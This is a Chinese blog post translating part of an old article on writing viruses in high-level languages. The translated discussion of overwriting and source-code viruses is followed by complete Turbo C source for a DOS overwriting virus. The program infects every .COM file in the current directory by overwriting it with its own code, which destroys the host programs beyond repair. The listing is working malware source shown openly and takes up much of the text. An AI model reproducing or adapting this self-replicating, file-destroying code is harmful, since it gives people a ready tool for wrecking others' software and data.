原文链接:http://vx.netlux.org/lib/vbw06.html
今晚搜到一篇老的文件(而且还是DOS环境下的,),Virus in C,没翻译过文章,于是就有点手痒痒了,于是就有了如下译文,本人初次翻译,定有很多不当的地方,还望众高手指点。虽然,本作者指明了:[DO NOT RELEASE!],但费了好些劲才翻译完不帖出来分享下子心中不快,也就希望原作者别。。。
译文如下:
高级语言,如BASIC,C和很多其它的语言,是如今许多程序员的选择(晕,第一句话就难到我了,原文为:“Upper-level languages, such as Basic, C, and a multitude of others, are where most programmers these days feel at home”,本人水平如此,众高手莫笑)。它们为开发人员提供了惊人的大量的内置函数,并让程序员们可以安心的编程而不用理会他们所用的机器,然而让程序员们把更多的精力花在程序设计上。对于编写病毒来说,这使他们可以用自己最喜爱的语言编写,但是这会带来很多的弊端。第一点,许多高级语言的编程不是基于底层系统层次,即使是C也不太容易。这就导致这类的大都数病毒的繁殖机制很原始(通常是通过重写来实现),即使它们的触发机制会很高明。另一很重要的不足是,大多用高级语言编写的病毒至少有10K,然而更多是比这还更大,这对病毒来说可行不通。因此,如此的一个常驻内存的病毒将是不切实际的,因为当一大块内存不明不白的消失时,这很容易引起用户的注意。
另一种用高级语言编写病毒的可能性是代码病毒(source-code virus)。这类病毒极其罕见(最少在我的水平之内是这样),但是这类病毒是非常高效的。代码病毒的机制,简而言之,搜索同一类语言的代码文件,比如说,它可能会搜找全部以“.C”为扩展名的C文件,然后它会把自己的加到那个文件里(通常以添加一个包含此程序的头文件然后在main()函数中添加一个调用),这使病毒在编译这文件时至少执行一次。编译之后,病毒一般会隐藏在这程序里,会一直潜伏着,直到找到另一个C文件。关于此类病毒的文献我只知道一编:Mark Ludwig写的 virus presented in Computer Virus Developments Quarterly, Volume 1, Number 2.
- - ------------------ Cut Here -------------------------- - -
/* This is a simple overwriting virus programmed in Turbo C */
/* It will infect all .COM files in the current directory */
/* Infections destroy the programs and cannot be cured */
/* It was presented in Virology 101 (c) 1993 Black Wolf */
/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
#include <stdio.h>
#include <dos.h>
#include <dir.h>
FILE *Virus,*Host;
int x,y,done;
char buff[256];
struct ffblk ffblk;
main()
{
done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
while (!done) /* Loop for all COM's in DIR*/
{
printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
Virus=fopen(_argv[0],"rb"); /* Open infected file */
Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
x=9504; /* Virus size - must */
/* be correct for the */
/* compiler it is made */
/* on, otherwise the */
/* entire virus may not*/
/* be copied!! */
while (x>256) /* OVERWRITE new Host */
{ /* Read/Write 256 byte */
fread(buff,256,1,Virus); /* chunks until bytes */
fwrite(buff,256,1,Host); /* left < 256 */
x-=256;
}
fread(buff,x,1,Virus); /* Finish off copy */
fwrite(buff,x,1,Host);
fcloseall(); /* Close both files and*/
done = findnext(&ffblk); /* go for another one. */
}
/* Activation would go */
/* here */
return (0); /* Terminate */
}
- - ------------------ Cut Here --------------------------- - -